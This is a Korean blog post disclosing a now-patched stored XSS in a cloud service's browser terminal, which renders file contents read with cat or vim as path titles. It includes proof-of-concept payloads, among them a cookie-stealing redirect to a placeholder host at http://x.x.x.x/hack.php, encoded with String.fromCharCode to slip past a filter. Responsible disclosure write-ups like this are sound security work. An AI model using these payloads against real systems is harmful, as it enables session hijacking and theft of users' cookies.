본문 바로가기
  • True knowledge exists in knowing that you know nothing. -Socrates-
web/취약점

취약점 제보 Store Xss [클라우드 서비스?]

by intadd 2019. 3. 9.




할로



몇개월 전 우연히 발견한 취약점 제보했는데, 나름 신기했던 취약점이라 포스팅해볼려고 합니다. (패치 완료)


파일을 읽으면 script가 작동하는데 파일 리드?인가.. 약간 시스템 해킹,,,,?과 관련되어 보이지만 전혀 상관없는 취약점. ㅋㅋㅋ

참고로 아래에서 말하는 타이틀 --> <title></title> 아님

웹브라우저에서 터미널 지원 기능이 있는 서비스임

Kirasys랑 같이 찾아서 자세한 분석은 혼자 진행 




취약점 발견 경로

친구: 이거(html file) vim으로 읽으면 왜 페이지 reload 되는거야?"

kirasys: 잉? 그러네

나: 잉? 그러네 


하면서 시작했습니다. 




취약점이 발생하는 위치는 “home←” 이 있는 란에서 취약점이 발생합니다. 

(경로를 출력해주는 기능)


친구의 HTML 코드에는 우연히 

 터미널에서 경로로인식한 js reload가 실행 된것였습니다.

 




경로를 출력해주는 기능이기 때문에 조건이 있다.


1. /가 포함된 경로 or 파일이어야한다. 


2. 마지막 라인까지 확인하기 때문에 페이로드의 라인 및 경로에 영향을 받는다.



HTML Injection 확인하기 & 원하는 값 타이틀에 올리기  


특정 파일에 내용에 ./*/`Payload`

 

[예시 에서는 ./AA/<img src=”@”>]



파일 cat 명령으로 test file을 read 하면 아래와 같습니다.



ㅇㅇㅇㅇㅇㅇㅇㅇㅇㅇㅇㅇㅇㅇㅇㅇㅇㅇㅇㅇㅇㅇㅇ



일단 html 들어가는 것을 확인했습니다. 그 위에서 경로에 영향을 받는다고 했는데 예시는 아래와 같습니다. 



동일한 페이로드인데 /home 경로에서는 /home을 출력해줌.



우회하기 위해서 타이틀에서 실제 어떤 형식으로 경로를 출력 해주는지 추측 해야 했습니다.


추축

1) `#`(쉘)을 기준 점으로 그 앞에 나오는 값을 경로로 취급한다. (없을 시  `/`를 기준 점으로 한다)

아마 $도 기준점이 되지 않을까? 귀찮아서 확인안해봄.



2) 한 라인 `#`(쉘) 앞에 ‘/’ 가 없을 경우 앞(전) 라인까지 확인 하는 것 같습니다.  (‘/’가 나올 때 까지)


3) 한 라인라인 마다 체크를 한다 (1번 라인 에서 /home 이고 2번 라인에서 /ubuntu 이면 home 을 출력한 뒤 ubuntu 를 출력한다.



이를 이용한 페이로드 구성


1. 터미널 타이틀창이 경로 이름으로 착각하게 하여 입력값을 타이틀 값으로 변경한다.

파일 내용으로 ‘./*/<img src=”@”> #` 을 입력한다. 추측 1)과 3)을 이용한 방법


2.  /home 경로에서 파일을 출력하면 입력한 `/<img src="@">을 경로로 인식하여 출력한 후, 다시 home 을 출력합니다.


어차피 XSS 는 script 한번만 실행하면 되기 때문에 한번만 웹브라우저에서 돌아가면 되기 때문에 타이틀에서 한번만 출력되면 됩니다.



(다른 경로에서도 동일하게 작동)

이를 통해 원하는 HTML 코드를 타 사용자의 어떠한 경로에서 출력(실행)할 수 있게 됩니다.





script 테스트 해봐야지 하는데 alert가 안됨 -- > 혼ㄸ니?




쓰고 있네 다른거 쓰지뭐




prompt() 

<img src=@ onerror=prompt(location.href)> 를 이용했습니다.



그래서 페이로드는

./AA/<img src="@" onerror="prompt(location.href)"> #



cat 명령어로 파일 읽기


VIM (VI) 로 파일 읽기




XSS POC


실직 적으로 session 을 hijacking 하기 위해서는 정상적인 payload 라면 

./aa/<img src=”@” onerror=”document.location=’http://x.x.x.x/hack.php?session=’+document.cookie”> # 


이지만 위의 경우 http:// x.x.x./ 이 터미널 타이틀이 인식하는 경로가 되기 때문에 정상적으로 script가 실행되지 않습니다.



이를 우회하기 위해서는 ‘/’를 입력하지 않고 서버 주소를 입력해야합니다.



우회하기 위한 방법  


script String.fromCharCode() 함수를 통해 실질적인 주소를 ascii code 값으로 입력할 수 있습니다.



페이로드에서 `/` 우회 한 페이로드 


./aa/<img src=”@” onerror=”document.location=String.fromCharCode(104,116,116,112,58,47,47,120,46,120,46,120,46,120,47,104,97,99,107,46,112,104,112,63,115,101,115,115,105,111,110,61)+document.cookie”> # 


를 입력한 후, cat 이나 vim 으로 파일을 열면 정상적으로 http://x.x.x.x/hack.php?session= 서버로 cookie 값을 인자로 하여 이동하게 됩니다.



+ 사실 script만 작동하면 우회방법이 엄청 많기 때문에 굳이 String.fromCharCode 안써도 될것 같습니다. 문서 찾아보면 한글로 페이로드 짜던데 아무튼 방법은 많습니다.


cat 이나 vim 으로 파일 읽으면

쯔안




근데 사실 중요한건 정작 가장 중요한 터미널상 사용자 판별 SESSION 은 Host Only 라는 것 ㅎㅎ;









- 패치 완료 (패치 속도에 놀람. 굿.. 다른 사이트 서비ㅡㅅ보다 많이 빠른듯)

- 사실 웹 취약점 제보는 고소미 생각하고 보내야하지만 나름 괜찮은 취약점이라 패치 했으면해서 보냈는데 결과는 좋았음 ㅎㅎ니다.

결론

- 매우 좋은 회사인거 같습니다. 







댓글